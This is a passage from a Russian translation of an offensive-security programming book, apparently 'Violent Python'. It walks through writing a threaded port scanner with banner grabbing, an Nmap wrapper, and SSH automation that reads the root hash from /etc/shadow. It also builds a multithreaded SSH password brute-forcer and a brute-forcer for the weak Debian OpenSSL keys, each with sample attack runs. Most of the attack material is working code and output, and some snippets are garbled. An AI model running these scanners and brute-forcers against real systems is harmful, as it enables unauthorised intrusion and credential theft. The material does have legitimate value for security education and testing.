family are AF_INET, AF_INET6, or AF_UNIX. Additionally, the socket
can be specified as SOCK_STREAM for a TCP socket or SOCK_DGRAM for
a UDP socket. Finally, the protocol number is usually zero and is
omitted in most cases.
socket.create_connection(address[, timeout[, source_address]]) – This
function takes a 2-tuple (host, port) and returns an instance of a
network socket. Additionally, it has the option of taking a timeout
and source address.
```

Чтобы лучше понять, как работает наш сканер портов TCP, мы разобьём наш скрипт на пять уникальных шагов и напомним на языке Python код для каждого из них. Сначала введём имя хоста и разделённый запятыми список портов для сканирования. Далее переведём имя хоста в интернет-адрес IPv4. Для каждого порта в списке мы также подключимся к целевому адресу и конкретному порту. Наконец, чтобы определить конкретную службу, работающую на порте, отправим «мусорные данные» и прочитаем результаты баннера, возвращённые конкретным приложением.

На первом этапе мы принимаем имя хоста и порт от пользователя. Для этого наша программа использует библиотеку **optparse** для анализа параметров командной строки. Вызываем **optparse.OptionParser([usage message])** создаст экземпляр анализатора параметров. Затем **parser.add\_option** укажет параметры отдельной командной строки для нашего сценария. В следующем примере показан быстрый способ анализа целевого имени хоста и порта для сканирования.

```
import optparse
```

```

parser = optparse.OptionParser('usage %prog -H+\
    '<target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', \
    help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', \
    help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
if (tgtHost == None) | (tgtPort == None):
    print parser.usage
    exit(0)

```

Далее мы создадим две функции: **connScan** и **portScan**. Функция **portScan** примет имя хоста и порты назначения в качестве аргументов. Сначала она попытается преобразовать IP-адрес в понятное имя хоста с помощью функции **gethostbyname()**. Затем она напечатает имя хоста (или IP-адрес) и перечислит каждый отдельный порт, пытающийся подключиться с помощью функции **connScan**. Функция **connScan** примет два аргумента – **tgtHost** и **tgtPort** - и попытается создать соединение с целевым хостом и портом. В случае успеха **connScan** напечатает сообщение об открытом порте. В случае неудачи будет напечатано сообщение о закрытом порте.

```

import optparse
from socket import *
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        print '[+]%d/tcp open'% tgtPort
        connSkt.close()
    except:
        print '[-]%d/tcp closed'% tgtPort
def portScan(tgtHost, tgtPorts):
    try:
        tgtIP = gethostbyname(tgtHost)
    except:
        print "[-] Cannot resolve '%s': Unknown host"%tgtHost
        return
    try:
        tgtName = gethostbyaddr(tgtIP)
        print '\n[+] Scan Results for: ' + tgtName[0]
    except:
        print '\n[+] Scan Results for: ' + tgtIP
    setdefaulttimeout(1)
    for tgtPort in tgtPorts:
        print 'Scanning port ' + tgtPort

```

```
connScan(tgtHost, int(tgtPort))
```

## Захват баннера приложения

Чтобы получить баннер приложения с нашего целевого хоста, мы должны сначала внести дополнительный код в функцию **connScan**. После обнаружения открытого порта мы отправим строку данных в этот порт и подождём ответа. Дождавшись его, мы, возможно, получим представление о приложении, запущенном на целевом хосте и порте.

```
import optparse
import socket
from socket import *
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        print '[+]%d/tcp open'% tgtPort
        print '[+] ' + str(results)
        connSkt.close()
    except:
        print '[-]%d/tcp closed'% tgtPort
def portScan(tgtHost, tgtPorts):
    try:
        tgtIP = gethostbyname(tgtHost)
    except:
        print "[-] Cannot resolve '%s': Unknown host" %tgtHost
        return
    try:
        tgtName = gethostbyaddr(tgtIP)
        print '\n[+] Scan Results for: ' + tgtName[0]
    except:
        print '\n[+] Scan Results for: ' + tgtIP
    setdefaulttimeout(1)
    for tgtPort in tgtPorts:
        print 'Scanning port ' + tgtPort
        connScan(tgtHost, int(tgtPort))
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-H <target host> -p <target port>")
    parser.add_option('-H', dest='tgtHost', type='string', \
        help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', \
        help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
```



```
tgtPorts = str(options.tgtPort).split(' ', ' ')
if (tgtHost == None) | (tgtPorts[0] == None):
    print '[-] You must specify a target host and port[s].'
    exit(0)
portScan(tgtHost, tgtPorts)
if __name__ == '__main__':
    main()
```

Например, при сканировании хоста с установленным в нём FreeFloat FTP-сервером при захвате баннера может появиться следующая информация:

```
attacker$ python portscanner.py -H 192.168.1.37 -p 21, 22, 80
[+] Scan Results for: 192.168.1.37
Scanning port 21
[+] 21/tcp open
[+] 220 FreeFloat Ftp Server (Version 1.00).
```

Знание о том, что на сервере работает FreeFloat FTP (версия 1.00), окажется полезным для настройки атаки на приложение, как мы увидим позже.

## Настройка потоков сканирования

В зависимости от переменной тайм-аута для сокета, сканирование каждого сокета может занять несколько секунд. Хотя это кажется банальным, но это время можно легко сократить, если мы будем сканировать множество хостов или портов. В идеале нам лучше бы сканировать сокеты одновременно, а не последовательно. Для этого мы задействуем потоки выполнения Python: он даёт нам возможность выполнять эти виды действий одновременно. Чтобы использовать их в нашем сканировании, мы изменим цикл итерации в функции **portScan()**. Обратите внимание, что мы вызываем функцию **connScan** в качестве потока. Каждый поток, созданный в итерации, теперь будет выполняться одновременно с соседним.

```
for tgtPort in tgtPorts:
    t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
    t.start()
```

Это даёт нам значительное преимущество в скорости, но есть один недостаток. Наша функция **connScan()** печатает вывод на экран. Если несколько потоков печатают вывод одновременно, результат может выглядеть искажённым и беспорядочным. Чтобы дать функции полный контроль над экраном, мы задействуем семафор. Простой семафор предоставляет нам «замок» для предотвращения продолжения других потоков. Заметьте, что перед печатью вывода мы сделали блокировку с помощью **screenLock.acquire()**. Если мы видим **open**, семафор предоставит нам доступ для продолжения, и мы печатаем на экране. Если **locked** - нам придётся подождать, пока поток, удерживающий семафор, не снимет блокировку. Используя этот семафор, мы теперь имеем гарантию, что только один поток может печатать

на экране в какой-либо момент времени. В нашем коде обработки исключений ключевое слово **finally** выполняет следующий код перед завершением блока.

```
screenLock = Semaphore(value=1)
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        screenLock.acquire()
        print '[+]%d/tcp open'% tgtPort
        print '[+] ' + str(results)
    except:
        screenLock.acquire()
        print '[-]%d/tcp closed'% tgtPort
    finally:
        screenLock.release()
        connSkt.close()
```

Поместив все остальные функции в один и тот же скрипт и добавив какой-либо вариант анализа, мы создаём наш последний скрипт сканера портов.

```
import optparse
from socket import *
from threading import *
screenLock = Semaphore(value=1)
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        screenLock.acquire()
        print '[+]%d/tcp open'% tgtPort
        print '[+] ' + str(results)
    except:
        screenLock.acquire()
        print '[-]%d/tcp closed'% tgtPort
    finally:
        screenLock.release()
        connSkt.close()
def portScan(tgtHost, tgtPorts):
    try:
        tgtIP = gethostbyname(tgtHost)
    except:
        print "[-] Cannot resolve '%s': Unknown host"%tgtHost
```

```

    return
try:
    tgtName = gethostbyaddr(tgtIP)
    print '\n[+] Scan Results for: ' + tgtName[0]
except:
    print '\n[+] Scan Results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
    t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
    t.start()
def main():
    parser = optparse.OptionParser('usage%prog ' + \
        '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', \
        help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')
    if (tgtHost == None) | (tgtPorts[0] == None):
        print parser.usage
        exit(0)
    portScan(tgtHost, tgtPorts)
if __name__ == "__main__":
    main()

```

Запустив скрипт на цели, мы видим, что у неё есть FTP-сервер Xitami, работающий на TCP-порте 21, и что TCP-порт 1720 закрыт.

```

attacker:#!# python portScan.py -H 10.50.60.125 -p 21, 1720
[+] Scan Results for: 10.50.60.125
[+] 21/tcp open
[+] 220- Welcome to this Xitami FTP server
[-] 1720/tcp closed

```

## Интеграция сканера портов Nmap

В нашем предыдущем примере представлен быстрый скрипт для выполнения сканирования TCP-соединения. Он может оказаться функционально ограниченным, поскольку нам могут потребоваться дополнительные типы сканирования, такие как сканирование ACK, RST, FIN или SYN-ACK, предоставляемые инструментарием Nmap (Vaskovich, 1997). Фактически являясь стандартом для набора инструментов сканирования портов, Nmap даёт довольно широкое разнообразие функциональностей. Возникает вопрос: почему бы нам просто не использовать Nmap? А теперь – время познать истинную красоту языка Python: несмотря на то, что Фёдор Васькович написал Nmap и связанные с ним скрипты на языках

программирования C и LUA, Nmap довольно изящно интегрируется в Python и выводит информацию в формате XML. Стив Милнер и Брайан Бустин написали библиотеку Python, которая анализирует эти данные. Это позволяет нам использовать полную функциональность Nmap в скриптах Python. Сначала вам необходимо установить программу **Python-Nmap**, доступную по адресу <http://xael.org/norman/python/python-nmap/>. Убедитесь, что вы приняли во внимание замечания разработчика относительно различных версий Python 3.x и Python 2.x.

#### Дополнительная информация:

##### Другие типы сканирования портов

Разберём несколько других типов сканирования. Пока что у нас нет инструментов для создания пакетов с параметрами TCP - мы изучим их позже, в [пятой главе](#). А пока посмотрим, получится ли у вас воспроизвести некоторые из этих типов сканирования в сканере портов.

TCP SYN SCAN — этот тип сканирования, также известный как полуоткрытое сканирование, инициирует TCP-соединение с пакетом SYN и ожидает ответа. Пакет сброса указывает, что порт закрыт, тогда как SYN/ACK говорит нам, что порт открыт.

TCP NULL SCAN — нулевое сканирование устанавливает заголовок флага TCP на нуль. Если получен RST, это означает, что порт закрыт.

TCP FIN SCAN — Сканирование TCP FIN отправляет FIN для того, чтобы разорвать активное соединение TCP и ожидать завершения. Если получен RST, это означает, что порт закрыт.

TCP XMAS SCAN — сканирование XMAS устанавливает флаги PSH, FIN и URG TCP. Если получен RST, это означает, что порт закрыт.

С установленным **Python-Nmap** мы теперь можем импортировать Nmap в существующие сценарии и выполнять сканирование Nmap в соответствии с вашими сценариями на языке Python. Создание объекта класса **PortScanner()** даст нам возможность выполнить проверку этого объекта. В классе **PortScanner** имеется функция **scan()**, которая принимает список целей и портов в качестве входных данных и выполняет базовое сканирование Nmap. Кроме того, теперь мы можем индексировать объект по целевым хостам и портам, и вывести состояние порта. Следующие разделы будут основаны на этой способности обнаруживать и идентифицировать цели.

```
import nmap
```

```

import optparse
def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print " [*] " + tgtHost + " tcp/"+tgtPort + " "+state
def main():
    parser = optparse.OptionParser('usage%prog ' + \
        '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', \
        help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')
    if (tgtHost == None) | (tgtPorts[0] == None):
        print parser.usage
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost, tgtPort)
if __name__ == '__main__':
    main()

```

Запустив наш скрипт, использующий Nmap, мы видим кое-что интересное в TCP-порте 1720. Сервер или брандмауэр фактически фильтруют доступ к TCP-порту 1720. То есть, порт не обязательно закрыт, как мы подумали вначале. Используя полноценный сканер, такой как Nmap, мы смогли обнаружить фильтр.

```

attacker:!# python nmapScan.py -H 10.50.60.125 -p 21, 1720
[*] 10.50.60.125 tcp/21 open
[*] 10.50.60.125 tcp/1720 filtered

```

## Написание SSH-ботнета на Python

Теперь, когда мы создали сканер портов для поиска целей, можно приступить к эксплуатации уязвимостей каждого сервиса. Червь Морриса включает принудительное использование общих имён пользователей и паролей для службы удалённой оболочки (RSH) в качестве одного из трёх векторов атаки. В 1988 году RSH предоставила превосходный (хотя и не совсем безопасный) способ для системного администратора удалённо подключаться к машине и управлять ею, выполняя на хосте серию команд в терминале. Протокол Secure Shell (SSH) с тех пор заменил RSH, объединив RSH с криптографической схемой с открытым ключом для защиты трафика. Однако это мало даст для остановки атаки, вытесняя общие имена пользователей и пароли. SSH-черви оказались весьма успешными и распространёнными

способами атаки. Взгляните на журнал системы обнаружения вторжений (IDS) на наш собственный сайт [www.violentpython.org](http://www.violentpython.org) или на недавнюю атаку SSH. Здесь злоумышленник попытался подключиться к компьютеру, используя учётные записи ucla, oxford и matrix. Интересные варианты. К счастью для нас, IDS предотвратила дальнейшие попытки входа по SSH с атакующего IP-адреса, заметив у него тенденцию к принудительному созданию паролей.

```
Received From: violentPython->/var/log/auth.log
Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access
to the system."
Portion of the log(s):
Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from 67.228.3.58
```

## Взаимодействие с SSH через Pexect

Давайте создадим собственного автоматического SSH-червя, который будет брутфорсить учётные данные пользователей в целевом компьютере. Поскольку SSH-клиенты требуют взаимодействия с пользователем, наш скрипт должен быть способен ожидать и соответствовать ожидаемому результату перед отправкой дальнейших команд ввода. Рассмотрим следующий сценарий. Чтобы подключиться к нашей машине SSH по IP-адресу 127.0.0.1, приложение сначала запрашивает у нас подтверждение отпечатка ключа RSA. В этом случае мы должны ответить «да», прежде чем продолжить. Затем приложение просит нас ввести пароль перед тем, как оно предоставит нам командную строку. Наконец, мы выполняем нашу команду **uname -v**, чтобы определить версию ядра, работающего на нашей цели.

```
attacker$ ssh root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts.
Password:*****
Last login: Mon Oct 17 23:56:26 2011 from localhost
attacker:! uname -v
Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011; root:xnu-
1699.24.8!1/RELEASE_X86_64
```

Чтобы автоматизировать эту интерактивную консоль, мы воспользуемся сторонним модулем Python под названием **Pexpect** (доступен для загрузки по адресу <http://pexpect.Sourceforge.net>). **Pexpect** способен взаимодействовать с программами, отслеживать ожидаемые результаты, и затем производить действия на основе полученных данных. Это делает его отличным инструментом для автоматизации процесса перебора учётных данных пользователей SSH.

Обратите внимание на функцию **connect()**. Она принимает имя пользователя, имя хоста и пароль как аргументы, и создаёт SSH-соединение. Затем, она ожидает вывода, используя библиотеку **pexpect**. Возможны три результата: тайм-аут, сообщение о том, что у хоста есть новый открытый ключ, или запрос пароля. Если время ожидания истекло, метод **session.expect()** возвращается к нулю. Следующая выполняемая инструкция заметит это и выведет сообщение об ошибке. Если метод **child.expect()** перехватывает сообщение **ssh\_newkey**, он возвращает значение 1. Это вынуждает функцию отправить сообщение «**yes**», чтобы принять новый ключ. После этого функция будет ожидать запроса пароля.

```
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
        '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, \
            '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    child.sendline(password)
    child.expect(PROMPT)
    return child
```

Пройдя проверку подлинности, мы теперь можем использовать отдельную функцию **command()** для отправки команд в сеанс SSH. Функция **command()** принимает в качестве

входных данных сеанс SSH и командную строку. Затем она отправляет полученную строку в сеанс и ждёт ответа. После его перехвата, данная реакция будет выведена 0-из сеанса SSH.

```
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
```

Итак, теперь у нас есть скрипт, который может подключаться и контролировать сеанс SSH в интерактивном режиме.

```
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
        '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, \
            '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    child.sendline(password)
    child.expect(PROMPT)
    return child
def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
    main()
```



Запустив этот скрипт, мы видим, что можем подключиться к серверу SSH для удалённого управления хостом. Пока что мы запустили простенькую команду для отображения хэшированного пароля для root-пользователя из файла `/etc/shadow` — а могли бы использовать этот инструмент для чего-то более хитрого, наподобие использования `wget` для загрузки пост-эксплуатационного набора инструментов. Вы можете запустить SSH-сервер в Backtrack, сгенерировав ssh-ключи и затем запустив службу SSH. Попробуйте запустить SSH-сервер и подключиться к нему с помощью скрипта.

```
attacker# sshd-generate
Generating public/private rsa1 key pair.
<..ПРОПУЩЕНО..>
attacker# service ssh start
ssh start/running, process 4376
attacker# python sshCommand.py
cat /etc/shadow | grep root
root:$6$ms32yIGN$NyXj0YofkK14MpRwFHVxQW0yvUId.s1JtgxHE2EuQqgD74S/GaGGs5VCnqeC.bS0MzTf/EFS3u
spQMNeepIAc.:15503:0:99999:7:::
```

## Брутфорс SSH-паролей через Pssh

Хотя написание последнего скрипта действительно дало нам глубокое понимание возможностей `pexpect`, мы можем сильно упростить предыдущий скрипт с помощью `pssh`. `Pssh` — это специализированный скрипт, включающий библиотеку `pexpect`. В нём имеется возможность взаимодействовать напрямую с сеансами SSH с помощью заранее определённых методов для `login()`, `logout()`, `prompt()`. Используя `pssh`, мы можем сократить наш предыдущий скрипт до следующего:

```
import pssh
def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print s.before
def connect(host, user, password):
    try:
        s = pssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print '[-] Error Connecting'
        exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')
```

Наш скрипт почти завершён. Осталось только внести несколько небольших модификаций, чтобы заставить скрипт автоматизировать задачу перебора учётных данных SSH. Помимо

добавления какого-либо варианта разбора для чтения в файле имени хоста, имени пользователя и пароля, единственное, что нам нужно сделать - это слегка изменить функцию `connect()`. Если функция `login()` завершается успешно без исключений, мы получим сообщение, указывающее, что пароль найден, и обновим глобальное логическое значение, указывающее на это. В противном случае мы «поймаем» это исключение. Если исключение указывает, что пароль был отклонён, мы знаем, что пароль не подходит, и просто откатимся. Однако, если исключение указывает, что сокет является `read_non-blocking`, тогда мы заключим, что SSH-сервер достиг предельного количества соединений, и в этом случае подождём несколько секунд перед повтором попытки с тем же паролем. Кроме того, если исключение указывает, что `pxssh` испытывает трудности при получении командной строки, мы подождём 1 секунду, чтобы позволить ей сделать это. Обратите внимание, что мы добавили булеанову версию, содержащуюся среди аргументов функции `connect()`. Поскольку функция `connect()` может рекурсивно вызывать другую функцию `connect()`, нам нужно только, чтобы вызывающая сторона могла освободить наш семафор `connection_lock`.

```
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()
def main():
    parser = optparse.OptionParser('usage%prog '+'\
        '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', \
```

```

    help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', \
    help='specify password file')
parser.add_option('-u', dest='user', type='string', \
    help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
    print parser.usage
    exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
    if Found:
        print "[*] Exiting: Password Found"
        exit(0)
    if Fails > 5:
        print "[!] Exiting: Too Many Socket Timeouts"
        exit(0)
connection_lock.acquire()
    password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
    t = Thread(target=connect, args=(host, user, \
        password, True))
    child = t.start()
if __name__ == '__main__':
    main()

```

Попытка перебора паролей SSH к устройству даёт следующие результаты. Интересно отметить, что найденный пароль - «alpine». Это root-пароль по умолчанию на устройствах iPhone. В конце 2009 года червь SSH атаковал джейлбрейкнутые айфоны. Часто, при джейлбрейке устройства пользователи включали сервер OpenSSH на iPhone. Тогда как для части пользователей это оказалось чрезвычайно полезным, другие пользователи не знали об этой новой возможности. Червь *iKee* воспользовался этим, попробовав «вползти» в устройства с помощью пароля по умолчанию к ним. Авторы червя не были намерены причинять какой-либо вред с его помощью. Они всего лишь изменили фоновое изображение айфона на изображение Рика Эстли со словами «iKee никогда не бросит тебя».

```

attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
[-] Testing: 123456
[-] Testing: 12345
[-] Testing: 123456789
[-] Testing: password
[-] Testing: iloveyou
[-] Testing: princess

```

```
[~] Testing: 1234567
[~] Testing: alpine
[~] Testing: password1
[~] Testing: soccer
[~] Testing: anthony
[~] Testing: friends
[+] Password Found: alpine
[~] Testing: butterfly
[*] Exiting: Password Found
```

## Эксплойт SSH через слабые личные ключи

Пароли предоставляют метод аутентификации на SSH-сервере, но это не единственный метод. Помимо него, SSH предоставляет возможность аутентификации с использованием криптографии с открытым ключом. При этом сценарии сервер знает открытый ключ, а пользователь знает закрытый. Используя алгоритмы RSA или DSA, сервер создаёт эти ключи для входа в SSH. Как правило, это обеспечивает отличный метод для аутентификации. Благодаря возможности генерировать 1024-битные, 2048-битные или 4096-битные ключи, этот процесс аутентификации затрудняет использование брутфорсинга, как мы проделывали это со слабыми паролями.

Однако в 2006 году с Debian произошло нечто интересное: разработчик закоментировал одну строку кода, найденную с помощью автоматизированного инструментария анализа программного обеспечения. Особая строка кода обеспечивала энтропию при создании ключей SSH. При комментировании конкретной строки кода размер доступного для поиска пространства ключей падал до 15-битной энтропии (Ahmad, 2008) – это означало, что для каждого алгоритма и размера существует всего лишь 32767 ключей. HD Moore, генеральный директор и главный архитектор в Rapid7, сгенерировал все 1024-битные и 2048-битные ключи менее чем за два часа (Moore, 2008). Кроме того, он сделал их доступными для скачивания по адресу: <http://digitaloffense.net/tools/debian-openssl/>. Для начала, вы можете скачать 1024-битные ключи. После загрузки и извлечения ключей, удалите открытые ключи, поскольку для проверки нашего соединения нам понадобятся только закрытые ключи.

```
attacker# wget http://digitaloffense.net/tools/debian-
openssl/debian_ssh_dsa_1024_x86.tar.bz2
--2012-06-30 22:06:32--http://digitaloffense.net/tools/debian-
openssl/debian_ssh_dsa_1024_x86.tar.bz2
Resolving digitaloffense.net... 184.154.42.196, 2001:470:1f10:200::2
Connecting to digitaloffense.net|184.154.42.196|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30493326 (29M) [application/x-bzip2]
Saving to: 'debian_ssh_dsa_1024_x86.tar.bz2'
100%[=====] 30,493,326 496K/s in 74s
```

```
2012-06-30 22:07:47 (400 KB/s) - 'debian_ssh_dsa_1024_x86.tar.bz2' saved
[30493326/30493326]
attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024_x86.tar
attacker# cd dsa/1024/
attacker# ls
00005b35764e0b2401a9dcba5b6b6b5-1390
00005b35764e0b2401a9dcba5b6b6b5-1390.pub
00058ed68259e603986db2af4eca3d59-30286
00058ed68259e603986db2af4eca3d59-30286.pub
0008b2c4246b6d4acfd0b0778b76c353-29645
0008b2c4246b6d4acfd0b0778b76c353-29645.pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
000b168ba54c7c9c6523a22d9ebcad6f-18228.pub
000b69f08565ae3ec30febde740ddeb7-6849
000b69f08565ae3ec30febde740ddeb7-6849.pub
000e2b9787661464fdccc6f1f4dba436-11263
000e2b9787661464fdccc6f1f4dba436-11263.pub
<..ПРОПУЩЕНО..>
attacker# rm -rf dsa/1024/*.pub
```

Эта ошибка «прожила» 2 года, прежде чем была обнаружена безопасниками. В результате можно утверждать, что в мире было создано не так много серверов с ослабленной службой SSH. Было бы неплохо, если бы мы могли создать инструмент для использования этой уязвимости. Однако, имея доступ к пространству ключей, можно написать небольшой скрипт Python для брутфорса каждого из 32767 ключей для аутентификации на SSH-сервере без пароля, использующем криптографию с открытым ключом. На самом деле команда Warcat Team написала такой сценарий и опубликовала его в milw0rm в течение нескольких дней после обнаружения уязвимости. Exploit-DB заархивировал скрипт Warcat Team по адресу: <http://www.exploit-db.com/exploits/5720/>. Однако давайте напишем наш собственный скрипт, использующий ту же самую библиотеку **pexpect**, которую мы применяли для брутфорса с помощью аутентификации по паролю.

Скрипт для тестирования слабых ключей оказывается очень похожим на наш способ аутентификации с помощью перебора паролей. Для аутентификации в SSH с ключом нам нужно ввести **ssh user@host -i keyfile -o PasswordAuthentication no**. Для следующего скрипта мы перебираем набор сгенерированных ключей и пытаемся установить соединение. Если соединение установилось успешно, мы выводим имя ключевого файла на экран. Кроме того, мы будем использовать две глобальные переменные – **Stop** и **Fails**. **Fails** будет хранить количество наших неудачных подключений, случившихся из-за того, что удалённый хост закрыл соединение. Если это число больше 5, мы прекратим наш скрипт. Если наше сканирование вызвало удалённый IPS, который препятствует нашему соединению, продолжать нет смысла. Наша глобальная переменная **Stop** является логическим значением,

которое позволяет нам узнать, что мы нашли ключ, и функции `main()` не нужно запускать какие-либо новые потоки соединения.

```
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + \
            '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, \
            ssh_newkey, conn_closed, '$', '#', ])
        if ret == 2:
            print '[-] Adding Host to ~/.ssh/known_hosts'
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print '[-] Connection Closed By Remote Host'
            Fails += 1
        elif ret > 3:
            print '[+] Success. ' + str(keyfile)
            Stop = True
    finally:
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser('usage%prog -H '+\
        '<target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', \
        help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', \
        help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
```

```

passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
    print parser.usage
    exit(0)
for filename in os.listdir(passDir):
    if Stop:
        print '[*] Exiting: Key Found.'
        exit(0)
    if Fails > 5:
        print '[!] Exiting: '+\
            'Too Many Connections Closed By Remote Host.'
        print '[!] Adjust number of simultaneous threads.'
        exit(0)
    connection_lock.acquire()
    fullpath = os.path.join(passDir, filename)
    print '[-] Testing keyfile ' + str(fullpath)
    t = Thread(target=connect, \
        args=(user, host, fullpath, True))
    child = t.start()
if __name__ == '__main__':
    main()

```

Проверяя это в отношении цели, мы видим, что можем получить доступ к уязвимой системе. Если 1024-битные ключи не работают, тогда попробуйте загрузить 2048-битные и применить их.

```

attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024
[-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764
[-] Testing keyfile tmp/003d39d173e0ea7ffa7cbcd9c684375-31965
[-] Testing keyfile tmp/003e7c5039c07257052051962c6b77a0-9911
[-] Testing keyfile tmp/002ee4b916d80ccc7002938e1ecee19e-7997
[-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361
<..ПРОПУЩЕНО..>
[-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/002a7ec8d678e30ac9961bb7c14eb4e4-27909
